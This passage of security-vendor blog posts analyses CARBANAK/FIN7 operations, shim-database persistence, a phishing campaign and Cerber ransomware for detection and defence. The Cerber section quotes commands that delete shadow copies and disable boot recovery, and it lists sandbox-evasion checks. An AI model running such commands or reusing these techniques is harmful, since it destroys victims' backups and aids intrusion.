Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.

What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not. This command downloads an executable from the C2 and directly runs it in memory. In another case, one build was programmed to check for the existence of the domain in the trusted sites list for Internet Explorer while the other was not. Blizko is an online money transfer service. We have also seen that different monitoring threads from Table 1 are enabled from build to build. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets.

Campaign Code and Compile Time Correlation

In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. Figure 8 shows some of the relationships that can be observed in our data set.

Campaign Code

Compile Date































Figure 8: Campaign code to compile time relationships

Recent Updates

Recently, 64 bit variants of the backdoor have been discovered. We shared details about such variants in a recent blog post. Some of these variants are programmed to sleep until a configured activation date when they will become active.


The “Carbanak Group”

Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group”, who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are – if they are all directly orchestrated by the same criminal group, or if these campaigns were perpetrated by loosely affiliated actors sharing malware and techniques.


In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015.

FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity.

We have covered recent FIN7 activity in previous public blog posts:

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity.

Widespread Bank Targeting Throughout the U.S., Middle East and Asia

Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers.

This cluster of activity persisted from late 2014 into early 2016. Most notably, the infrastructure utilized in this campaign overlapped with LAZIOK, NETWIRE and other malware targeting similar financial entities in these regions.


DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016.  Also, in late 2015, ESET reported on CARBANAK associated attacks, detailing a spear phishing campaign targeting Russian and Eastern European banks using DRIFTPIN as the malicious payload. Cyphort Labs also revealed that variants of DRIFTPIN associated with this cluster of activity had been deployed via the RIG exploit kit placed on two compromised Ukrainian banks’ websites.

FireEye iSIGHT Intelligence observed this wave of spear phishing aimed at a large array of targets, including U.S. financial institutions and companies associated with Bitcoin trading and mining activities. This cluster of activity continues to be active now to this day, targeting similar entities. Additional details on this latest activity are available on the FireEye iSIGHT Intelligence MySIGHT Portal.

Earlier CARBANAK Activity

In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak.

This activity was further linked to the 2014 exploitation of ATMs in Ukraine. Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement.


The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

  1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
  2. Some of the operators may be compiling their own builds of the backdoor independently.
  3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
  4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide-range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.

To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence

In 2017, Mandiant responded to multiple incidents we attribute to FIN7, a financially motivated threat group associated with malicious operations dating back to 2015. Throughout the various environments, FIN7 leveraged the CARBANAK backdoor, which this group has used in previous operations.

A unique aspect of the incidents was how the group installed the CARBANAK backdoor for persistent access. Mandiant identified that the group leveraged an application shim database to achieve persistence on systems in multiple environments. The shim injected a malicious in-memory patch into the Services Control Manager (“services.exe”) process, and then spawned a CARBANAK backdoor process.

Mandiant identified that FIN7 also used this technique to install a payment card harvesting utility for persistent access. This was a departure from FIN7’s previous approach of installing a malicious Windows service for process injection and persistent access.

Application Compatibility Shims Background

According to Microsoft, an application compatibility shim is a small library that transparently intercepts an API (via hooking), changes the parameters passed, handles the operation itself, or redirects the operation elsewhere, such as additional code stored on a system. Today, shims are mainly used for compatibility purposes for legacy applications. While shims serve a legitimate purpose, they can also be used in a malicious manner. Mandiant consultants previously discussed shim databases at both BruCon and BlackHat.

Shim Database Registration

There are multiple ways to register a shim database on a system. One technique is to use the built-in “sdbinst.exe” command line tool. Figure 1 displays the two registry keys created when a shim is registered with the “sdbinst.exe” utility.

Figure 1: Shim database registry keys

Once a shim database has been registered on a system, the shim database file (“.sdb” file extension) will be copied to the “C:\Windows\AppPatch\Custom” directory for 32-bit shims or “C:\Windows\AppPatch\Custom\Custom64” directory for 64-bit shims.

Malicious Shim Database Installation

To install and register the malicious shim database on a system, FIN7 used a custom Base64 encoded PowerShell script, which ran the “sdbinst.exe” utility to register a custom shim database file containing a patch onto a system. Figure 2 provides a decoded excerpt from a recovered FIN7 PowerShell script showing the parameters for this command.

Figure 2: Excerpt from a FIN7 PowerShell script to install a custom shim

FIN7 used various naming conventions for the shim database files that were installed and registered on systems with the “sdbinst.exe” utility. A common observance was the creation of a shim database file with a “.tmp” file extension (Figure 3).

Figure 3: Malicious shim database example

Upon registering the custom shim database on a system, a file named with a random GUID and an “.sdb” extension was written to the 64-bit shim database default directory, as shown in Figure 4. The registered shim database file had the same MD5 hash as the file that was initially created in the “C:\Windows\Temp” directory.

Figure 4: Shim database after registration

In addition, specific registry keys were created that correlated to the shim database registration.  Figure 5 shows the keys and values related to this shim installation.

Figure 5: Shim database registry keys

The database description used for the shim database registration, “Microsoft KB2832077” was interesting because this KB number was not a published Microsoft Knowledge Base patch. This description (shown in Figure 6) appeared in the listing of installed programs within the Windows Control Panel on the compromised system.

Figure 6: Shim database as an installed application

Malicious Shim Database Details

During the investigations, Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of “services.exe” with their CARBANAK payload. This occurred when the “services.exe” process executed at startup. The shim database file contained shellcode for a first stage loader that obtained an additional shellcode payload stored in a registry key. The second stage shellcode launched the CARBANAK DLL (stored in a registry key), which spawned an instance of Service Host (“svchost.exe”) and injected itself into that process.  

Figure 7 shows a parsed shim database file that was leveraged by FIN7.

Figure 7: Parsed shim database file

For the first stage loader, the patch overwrote the “ScRegisterTCPEndpoint” function at relative virtual address (RVA) “0x0001407c” within the services.exe process with the malicious shellcode from the shim database file. 

The new “ScRegisterTCPEndpoint” function (shellcode) contained a reference to the path of “\REGISTRY\MACHINE\SOFTWARE\Microsoft\DRM”, which is a registry location where additional malicious shellcode and the CARBANAK DLL payload was stored on the system.

Figure 8 provides an excerpt of the parsed patch structure within the recovered shim database file.

Figure 8: Parsed patch structure from the shim database file

The shellcode stored within the registry path “HKLM\SOFTWARE\Microsoft\DRM” used the API function “RtlDecompressBuffer” to decompress the payload. It then slept for four minutes before calling the CARBANAK DLL payload's entry point on the system. Once loaded in memory, it created a new process named “svchost.exe” that contained the CARBANAK DLL. 

Bringing it Together

Figure 9 provides a high-level overview of a shim database being leveraged as a persistent mechanism for utilizing an in-memory patch, injecting shellcode into the 64-bit version of “services.exe”.

Figure 9: Shim database code injection process


Mandiant recommends the following to detect malicious application shimming in an environment:

  1. Monitor for new shim database files created in the default shim database directories of “C:\Windows\AppPatch\Custom” and “C:\Windows\AppPatch\Custom\Custom64”
  2. Monitor for registry key creation and/or modification events for the keys of “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom” and “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB”
  3. Monitor process execution events and command line arguments for malicious use of the “sdbinst.exe” utility 

Introducing for macOS

UPDATE 2 (Oct. 24, 2018): now supports macOS 10.14.

UPDATE (April 4, 2018): now supports macOS 10.13.

As a malware analyst or systems programmer, having a suite of solid dynamic analysis tools is vital to being quick and effective. These tools enable us to understand malware capabilities and undocumented components of the operating system. One obvious tool that comes to mind is Procmon from the legendary Sysinternals Suite from Microsoft. Those tools only work on Windows though and we love macOS.

macOS has some fantastic dynamic instrumentation software included with the operating system and Xcode. In the past, we have used dynamic instrumentation tools such as Dtrace, a very powerful tracing subsystem built into the core of macOS. While it is very powerful and efficient, it commonly required us to write D scripts to get the interesting bits. We wanted something simpler.

Today, the Innovation and Custom Engineering (ICE) Applied Research team presents the public release of for macOS, a simple GUI application for monitoring common system events on a macOS host. captures the following event types:

  • Process execution with command line arguments
  • File creates (if data is written)
  • File renames
  • Network activity
  • DNS requests and replies
  • Dynamic library loads
  • TTY Events identifies system activities using a kernel extension (kext). Its focus is on capturing data that matters, with context. These events are presented in the UI with a rich search capability allowing users to hunt through event data for areas of interest.

The goal of Monitor is simplicity. When launching Monitor, the user is prompted for root credentials to launch a process and load our kext (don’t worry, the main UI process doesn’t run as root). From there, the user can click on the start button and watch the events roll in!

The UI is sparse with a few key features. There is the start/stop button, filter buttons, and a search bar. The search bar allows us to set simple filters on types of data we may want to filter or search for over all events. The event table is a listing of all the events Monitor is capable of presenting to the user. The filter buttons allow the user to turn off some classes of events. For example, if a TimeMachine backup were to kick off when the user was trying to analyze a piece of malware, the user can click the file system filter button and the file write events won’t clutter the display.

As an example, perhaps we were interested in seeing any processes that communicated with We can simply use an “Any” filter and enter xkcd into the search bar, as seen in Figure 1.

Figure 1: User Interface

We think you will be surprised how useful Monitor can be when trying to figure out how components of macOS or even malware work under the hood, all without firing up a debugger or D script.

Click here to download Please send any feature requests/bugs to

Apple, Mac and MacOS are registered trademarks or trademarks of Apple Inc.

M-Trends 2017: A View From the Front Lines

Every year Mandiant responds to a large number of cyber attacks, and 2016 was no exception. For our M-Trends 2017 report, we took a look at the incidents we investigated last year and provided a global and regional (the Americas, APAC and EMEA) analysis focused on attack trends, and defensive and emerging trends.

When it comes to attack trends, we’re seeing a much higher degree of sophistication than ever before. Nation-states continue to set a high bar for sophisticated cyber attacks, but some financial threat actors have caught up to the point where we no longer see the line separating the two. These groups have greatly upped their game and are thinking outside the box as well. One unexpected tactic we observed is attackers calling targets directly, showing us that they have become more brazen.

While there has been a marked acceleration of both the aggressiveness and sophistication of cyber attacks, defensive capabilities have been slower to evolve. We have observed that a majority of both victim organizations and those working diligently on defensive improvements are still lacking adequate fundamental security controls and capabilities to either prevent breaches or to minimize the damages and consequences of an inevitable compromise.

Fortunately, we’re seeing that organizations are becoming better are identifying breaches. The global median time from compromise to discovery has dropped significantly from 146 days in 2015 to 99 days 2016, but it’s still not good enough. As we noted in M-Trends 2016, Mandiant’s Red Team can obtain access to domain administrator credentials within roughly three days of gaining initial access to an environment, so 99 days is still 96 days too long.

We strongly recommend that organizations adopt a posture of continuous cyber security, risk evaluation and adaptive defense or they risk having significant gaps in both fundamental security controls and – more critically – visibility and detection of targeted attacks.

On top of our analysis of recent trends, M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year. FaaS monitors organizations 24/7, which gives them a unique perspective into the current threat landscape. Additionally, this year we partnered with law firm DLA Piper for a discussion of the upcoming changes in EMEA data protection laws.

You can learn more in our M-Trends 2017 report. Additionally, you can register for our live webinar on March 29, 2017, to hear more from our experts.

FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings

In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. Based on multiple identified overlaps in infrastructure and the use of similar tools, tactics, and procedures (TTPs), we have high confidence that this campaign is associated with the financially motivated threat group tracked by FireEye as FIN7.

FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware. We have observed FIN7 attempt to compromise diverse organizations for malicious operations – usually involving the deployment of point-of-sale malware – primarily against the retail and hospitality industries.

Spear Phishing Campaign

All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for their respective organizations. Many of the recipients were even listed in their company’s SEC filings. The sender email address was spoofed as EDGAR <> and the attachment was named “Important_Changes_to_Form10_K.doc” (MD5: d04b6410dddee19adec75f597c52e386). An example email is shown in Figure 1.

Figure 1: Example of a phishing email sent during this campaign

We have observed the following TTPs with this campaign:

  • The malicious documents drop a VBS script that installs a PowerShell backdoor, which uses DNS TXT records for its command and control. This backdoor appears to be a new malware family that FireEye iSIGHT Intelligence has dubbed POWERSOURCE. POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams. Using DNS TXT records to communicate is not an entirely new finding, but it should be noted that this has been a rising trend since 2013 likely because it makes detection and hunting for command and control traffic difficult.
  • We also observed POWERSOURCE being used to download a second-stage PowerShell backdoor called TEXTMATE in an effort to further infect the victim machine. The TEXTMATE backdoor provides a reverse shell to attackers and uses DNS TXT queries to tunnel interactive commands and other data. TEXTMATE is “memory resident” – often described as “fileless” malware. This is not a novel technique by any means, but it’s worth noting since it presents detection challenges and further speaks to the threat actor’s ability to remain stealthy and nimble in operations.
  • In some cases, we identified a Cobalt Strike Beacon payload being delivered via POWERSOURCE. This particular Cobalt Strike stager payload was previously used in operations linked to FIN7.
  • We observed that the same domain hosting the Cobalt Strike Beacon payload was also hosting a CARBANAK backdoor sample compiled in February 2017. CARBANAK malware has been used heavily by FIN7 in previous operations.

Thus far, we have directly identified 11 targeted organizations in the following sectors:

  • Financial services, with different victims having insurance, investment, card services, and loan focuses
  • Transportation
  • Retail
  • Education
  • IT services
  • Electronics

All these organizations are based in the United States, and many have international presences. As the SEC is a U.S. regulatory organization, we would expect recipients of these spear phishing attempts to either work for U.S.-based organizations or be U.S.-based representatives of organizations located elsewhere. However, it is possible that the attackers could perform similar activity mimicking other regulatory organizations in other countries.


We have not yet identified FIN7’s ultimate goal in this campaign, as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft.  However, we surmise FIN7 can profit from compromised organizations in several ways. If the attackers are attempting to compromise persons involved in SEC filings due to their information access, they may ultimately be pursuing securities fraud or other investment abuse. Alternatively, if they are tailoring their social engineering to these individuals, but have other goals once they have established a foothold, they may intend to pursue one of many other fraud types.

Previous FIN7 operations deployed multiple point-of-sale malware families for the purpose of collecting and exfiltrating sensitive financial data. The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions, ATM compromise, and other monetization schemes.

Community Protection Event

FireEye implemented a Community Protection Event – FaaS, Mandiant, Intelligence, and Products – to secure all clients affected by this campaign. In this instance, an incident detected by FaaS led to the deployment of additional detections by the FireEye Labs team after FireEye Labs Advanced Reverse Engineering quickly analyzed the malware. Detections were then quickly deployed to the suite of FireEye products.

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the POWERSOURCE and TEXTMATE malware. Click here for more information.

M-Trends Asia Pacific: Organizations Must Improve at Detecting and Responding to Breaches

Since 2010, Mandiant, a FireEye company, has presented trends, statistics and case studies of some of the largest and most sophisticated cyber attacks. In February 2016, we released our annual global M-Trends® report based on data from the breaches we responded to in 2015. Now, we are releasing M-Trends Asia Pacific, our first report to focus on this very diverse and dynamic region.

Some of the key findings include:

  • Most breaches in the Asia Pacific region never became public. Most governments and industry-governing bodies are without effective breach disclosure laws, although this is slowly changing.
  • The median time of discovery of an attack was 520 days after the initial compromise. This is 374 days longer than the global median of 146 days.
  • Mandiant was engaged by many organizations that have already conducted forensic investigations (internally or using third parties), but failed to eradicate the attackers from their environments. These efforts sometimes made matters worse by destroying or damaging the forensic evidence needed to understand the full extent of a breach or to attribute activity to a specific threat actor.
  • Some attacker tools were used to almost exclusively target organizations within APAC. In April 2015, we uncovered the malicious efforts of APT30, a suspected China-based threat group that has exploited the networks of governments and organizations across the region, targeting highly sensitive political, economic and military information.

Download M-Trends Asia Pacific to learn more.

Analyzing the Malware Analysts – Inside FireEye’s FLARE Team

At the Black Hat USA 2016 conference in Las Vegas last week, I was fortunate to sit down with Michael Sikorski, Director, FireEye Labs Advanced Reverse Engineering (FLARE) Team.

During our conversation we discussed the origin of the FLARE team, what it takes to analyze malware, Michael’s book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software,” and the latest open source freeware tools FLOSS and FakeNet-NG.

Listen to the full podcast here.

Cerber: Analyzing a Ransomware Attack Methodology To Enable Protection

Ransomware is a common method of cyber extortion for financial gain that typically involves users being unable to interact with their files, applications or systems until a ransom is paid. Accessibility of cryptocurrency such as Bitcoin has directly contributed to this ransomware model. Based on data from FireEye Dynamic Threat Intelligence (DTI), ransomware activities have been rising fairly steadily since mid-2015.

On June 10, 2016, FireEye’s HX detected a Cerber ransomware campaign involving the distribution of emails with a malicious Microsoft Word document attached. If a recipient were to open the document a malicious macro would contact an attacker-controlled website to download and install the Cerber family of ransomware.

Exploit Guard, a major new feature of FireEye Endpoint Security (HX), detected the threat and alerted HX customers on infections in the field so that organizations could inhibit the deployment of Cerber ransomware. After investigating further, the FireEye research team worked with security agency CERT-Netherlands, as well as web hosting providers who unknowingly hosted the Cerber installer, and were able to shut down that instance of the Cerber command and control (C2) within hours of detecting the activity. With the attacker-controlled servers offline, macros and other malicious payloads configured to download are incapable of infecting users with ransomware.

FireEye hasn’t seen any additional infections from this attacker since shutting down the C2 server, although the attacker could configure one or more additional C2 servers and resume the campaign at any time. This particular campaign was observed on six unique endpoints from three different FireEye endpoint security customers. HX has proven effective at detecting and inhibiting the success of Cerber malware.

Attack Process

The Cerber ransomware attack cycle we observed can be broadly broken down into eight steps:

  1. Target receives and opens a Word document.
  2. Macro in document is invoked to run PowerShell in hidden mode.
  3. Control is passed to PowerShell, which connects to a malicious site to download the ransomware.
  4. On successful connection, the ransomware is written to the disk of the victim.
  5. PowerShell executes the ransomware.
  6. The malware configures multiple concurrent persistence mechanisms by creating command processor, screensaver, and runonce registry entries.
  7. The executable uses native Windows utilities such as WMIC and/or VSSAdmin to delete backups and shadow copies.
  8. Files are encrypted and messages are presented to the user requesting payment.

Rather than waiting for the payload to be downloaded or started around stage four or five of the aforementioned attack cycle, Exploit Guard provides coverage for most steps of the attack cycle – beginning in this case at the second step.

The most common way to deliver ransomware is via Word documents with embedded macros or a Microsoft Office exploit. FireEye Exploit Guard detects both of these attacks at the initial stage of the attack cycle.

PowerShell Abuse

When the victim opens the attached Word document, the malicious macro writes a small piece of VBScript into memory and executes it. This VBScript executes PowerShell to connect to an attacker-controlled server and download the ransomware (profilest.exe), as seen in Figure 1.

Figure 1. Launch sequence of Cerber – the macro is responsible for invoking PowerShell and PowerShell downloads and runs the malware

It has been increasingly common for threat actors to use malicious macros to infect users because the majority of organizations permit macros to run from Internet-sourced office documents.

In this case we observed the macrocode calling PowerShell to bypass execution policies – and run in hidden as well as encrypted mode – with the intention that PowerShell would download the ransomware and execute it without the knowledge of the victim.

Further investigation of the link and executable showed that every few seconds the malware hash changed with a more current compilation timestamp and different appended data bytes – a technique often used to evade hash-based detection.

Cerber in Action

Initial payload behavior

Upon execution, the Cerber malware will check to see where it is being launched from. Unless it is being launched from a specific location (%APPDATA%\&#60GUID&#62), it creates a copy of itself in the victim's %APPDATA% folder under a filename chosen randomly and obtained from the %WINDIR%\system32 folder.

If the malware is launched from the specific aforementioned folder and after eliminating any blacklisted filenames from an internal list, then the malware creates a renamed copy of itself to “%APPDATA%\&#60GUID&#62” using a pseudo-randomly selected name from the “system32” directory. The malware executes the malware from the new location and then cleans up after itself.

Shadow deletion

As with many other ransomware families, Cerber will bypass UAC checks, delete any volume shadow copies and disable safe boot options. Cerber accomplished this by launching the following processes using respective arguments:

Vssadmin.exe "delete shadows /all /quiet"

WMIC.exe "shadowcopy delete"

Bcdedit.exe "/set {default} recoveryenabled no"

Bcdedit.exe "/set {default} bootstatuspolicy ignoreallfailures


People may wonder why victims pay the ransom to the threat actors. In some cases it is as simple as needing to get files back, but in other instances a victim may feel coerced or even intimidated. We noticed these tactics being used in this campaign, where the victim is shown the message in Figure 2 upon being infected with Cerber.

Figure 2. A message to the victim after encryption

The ransomware authors attempt to incentivize the victim into paying quickly by providing a 50 percent discount if the ransom is paid within a certain timeframe, as seen in Figure 3.



Figure 3. Ransom offered to victim, which is discounted for five days

Multilingual Support

As seen in Figure 4, the Cerber ransomware presented its message and instructions in 12 different languages, indicating this attack was on a global scale.

Figure 4.   Interface provided to the victim to pay ransom supports 12 languages


Cerber targets 294 different file extensions for encryption, including .doc (typically Microsoft Word documents), .ppt (generally Microsoft PowerPoint slideshows), .jpg and other images. It also targets financial file formats such as. ibank (used with certain personal finance management software) and .wallet (used for Bitcoin).

Selective Targeting

Selective targeting was used in this campaign. The attackers were observed checking the country code of a host machine’s public IP address against a list of blacklisted countries in the JSON configuration, utilizing online services such as to verify the information. Blacklisted (protected) countries include: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine, and Uzbekistan.

The attack also checked a system's keyboard layout to further ensure it avoided infecting machines in the attackers geography: 1049—Russian, ¨ 1058—Ukrainian, 1059—Belarusian, 1064—Tajik, 1067—Armenian, 1068—Azeri, (Latin), 1079—Georgian, 1087—Kazakh, 1088—Kyrgyz (Cyrillic), 1090—Turkmen, 1091—Uzbek (Latin), 2072—Romanian (Moldova), 2073—Russian (Moldova), 2092—Azeri (Cyrillic), 2115—Uzbek (Cyrillic).

Selective targeting has historically been used to keep malware from infecting endpoints within the author’s geographical region, thus protecting them from the wrath of local authorities. The actor also controls their exposure using this technique. In this case, there is reason to suspect the attackers are based in Russia or the surrounding region.

Anti VM Checks

The malware searches for a series of hooked modules, specific filenames and paths, and known sandbox volume serial numbers, including: sbiedll.dll, dir_watch.dll, api_log.dll, dbghelp.dll, Frz_State, C:\popupkiller.exe, C:\stimulator.exe, C:\TOOLS\execute.exe, \sand-box\, \cwsandbox\, \sandbox\, 0CD1A40, 6CBBC508, 774E1682, 837F873E, 8B6F64BC.

Aside from the aforementioned checks and blacklisting, there is also a wait option built in where the payload will delay execution on an infected machine before it launches an encryption routine. This technique was likely implemented to further avoid detection within sandbox environments.


Once executed, Cerber deploys the following persistence techniques to make sure a system remains infected:

  • A registry key is added to launch the malware instead of the screensaver when the system becomes idle.
  • The “CommandProcessor” Autorun keyvalue is changed to point to the Cerber payload so that the malware will be launched each time the Windows terminal, “cmd.exe”, is launched.
  • A shortcut (.lnk) file is added to the startup folder. This file references the ransomware and Windows will execute the file immediately after the infected user logs in.
  • Common persistence methods such as run and runonce key are also used.
A Solid Defense

Mitigating ransomware malware has become a high priority for affected organizations because passive security technologies such as signature-based containment have proven ineffective.

Malware authors have demonstrated an ability to outpace most endpoint controls by compiling multiple variations of their malware with minor binary differences. By using alternative packers and compilers, authors are increasing the level of effort for researchers and reverse-engineers. Unfortunately, those efforts don’t scale.

Disabling support for macros in documents from the Internet and increasing user awareness are two ways to reduce the likelihood of infection. If you can, consider blocking connections to websites you haven’t explicitly whitelisted. However, these controls may not be sufficient to prevent all infections or they may not be possible based on your organization.

FireEye Endpoint Security with Exploit Guard helps to detect exploits and techniques used by ransomware attacks (and other threat activity) during execution and provides analysts with greater visibility. This helps your security team conduct more detailed investigations of broader categories of threats. This information enables your organization to quickly stop threats and adapt defenses as needed.


Ransomware has become an increasingly common and effective attack affecting enterprises, impacting productivity and preventing users from accessing files and data.

Mitigating the threat of ransomware requires strong endpoint controls, and may include technologies that allow security personnel to quickly analyze multiple systems and correlate events to identify and respond to threats.

HX with Exploit Guard uses behavioral intelligence to accelerate this process, quickly analyzing endpoints within your enterprise and alerting your team so they can conduct an investigation and scope the compromise in real-time.

Traditional defenses don’t have the granular view required to do this, nor can they connect the dots of discreet individual processes that may be steps in an attack. This takes behavioral intelligence that is able to quickly analyze a wide array of processes and alert on them so analysts and security teams can conduct a complete investigation into what has, or is, transpiring. This can only be done if those professionals have the right tools and the visibility into all endpoint activity to effectively find every aspect of a threat and deal with it, all in real-time. Also, at FireEye, we go one step ahead and contact relevant authorities to bring down these types of campaigns.

Click here for more information about Exploit Guard technology.

APT28: A Window into Russia’s Cyber Espionage Operations?

The role of nation-state actors in cyber attacks was perhaps most widely revealed in February 2013 when Mandiant released the APT1 report, which detailed a professional cyber espionage group based in China. Today we release a new report: APT28: A Window Into Russia’s Cyber Espionage Operations?

This report focuses on a threat group that we have designated as APT28. While APT28’s malware is fairly well known in the cybersecurity community, our report details additional information exposing ongoing, focused operations that we believe indicate a government sponsor based in Moscow.

In contrast with the China-based threat actors that FireEye tracks, APT28 does not appear to conduct widespread intellectual property theft for economic gain. Instead, APT28 focuses on collecting intelligence that would be most useful to a government. Specifically, FireEye found that since at least 2007, APT28 has been targeting privileged information related to governments, militaries and security organizations that would likely benefit the Russian government.

In our report, we also describe several malware samples containing details that indicate that the developers are Russian language speakers operating during business hours that are consistent with the time zone of Russia’s major cities, including Moscow and St. Petersburg. FireEye analysts also found that APT28 has systematically evolved its malware since 2007, using flexible and lasting platforms indicative of plans for long-term use and sophisticated coding practices that suggest an interest in complicating reverse engineering efforts.

We assess that APT28 is most likely sponsored by the Russian government based on numerous factors summarized below:

Table for APT28

FireEye is also releasing indicators to help organizations detect APT28 activity. Those indicators can be downloaded at

As with the APT1 report, we recognize that no single entity completely understands the entire complex picture of intense cyber espionage over many years. Our goal by releasing this report is to offer an assessment that informs and educates the community about attacks originating from Russia. The complete report can be downloaded here: /content/dam/legacy/resources/pdfs/apt28.pdf.

Amazon’s Mobile Shopping Clients and CAPTCHA

Amazon is a popular online retailer serving millions of users. Unfortunately, FireEye mobile security researchers have found security issues within Amazon’s mobile apps on both Android and iOS platforms through which attackers can crack the passwords of target Amazon accounts. Amazon confirmed our findings and hot fixed the issue.

Recently, we found two security issues within Amazon’s mobile apps on both Android and iOS platforms:

  • No limitation or CAPTCHA for password attempts
  • Weak password policy

Attackers can exploit these two security issues remotely against target Amazon accounts.

fig1 Figure 1. Verification Code for Wrong Password Attempts

A CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") is a challenge-response test designed to determine whether the user is a human. CAPTCHAs are well adopted for preventing programmed bots from accessing online services for bad purposes, such as conducting denial-of-service attacks, harvesting information and cracking passwords.

The web version of Amazon requires the user to complete a CAPTCHA after ten incorrect password attempts (Figure 1), to prevent password cracking. However, Amazon’s mobile apps haven’t adopted such protection using CAPTCHA (Figure 2 and Figure 3). This design flaw provides attackers the chance to crack any Amazon account’s password using brute force.

 fig2 Figure 2. Amazon Android App

fig3 Figure 3. Amazon iOS App

Furthermore, Amazon doesn’t have a strong password strength requirement. It accepts commonly used weak passwords such as "123456" and "111111". We know that the weaker the password, the easier for hackers to break into an account. Therefore, allowing weak passwords puts account safety to potential security risks. Given that there are many well-known previous password leakages, attackers can use these password leakages as knowledge bases to conduct password cracking.

As a proof of concept, we figured out the password of one Amazon account we setup within 1000 attempts, using the latest version (2.8.0) of Amazon’s Android shopping client.

After receiving our vulnerability report, Amazon hot fixed the first issue by patching their server. Now if the user tries multiple incorrect passwords, the server will block the user from login (Figure 4). In the future, we suggest adding CAPTCHA support for Amazon mobile (Android and iOS) apps, and enforcing requirements for stronger passwords.

fig4 Figure 4. Wrong Password Block

Background Monitoring on Non-Jailbroken iOS 7 Devices — and a Mitigation

Background monitoring mobile applications has become a hot topic on mobile devices. Existing reports show that such monitoring can be conducted on jailbroken iOS devices. FireEye mobile security researchers have discovered such vulnerability, and found approaches to bypass Apple's app review process effectively and exploit non-jailbroken iOS 7 successfully. We have been collaborating with Apple on this issue.


Fig.1 Background Monitoring

We have created a proof-of-concept "monitoring" app on non-jailbroken iOS 7.0.x devices. This “monitoring” app can record all the user touch/press events in the background, including, touches on the screen, home button press, volume button press, and TouchID press, and then this app can send all user events to any remote server, as shown in Fig.1. Potential attackers can use such information to reconstruct every character the victim inputs.

Note that the demo exploits the latest 7.0.4 version of iOS system on a non-jailbroken iPhone 5s device successfully. We have verified that the same vulnerability also exists in iOS versions 7.0.5, 7.0.6, and 6.1.x. Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring.


Fig.2 Background App Refresh Settings


Fig.3 Killing An App on iOS7

iOS7 provides settings for "background app refresh". Disabling unnecessary app's background refreshing contributes to preventing the potential background monitoring. However, it can be bypassed. For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring.

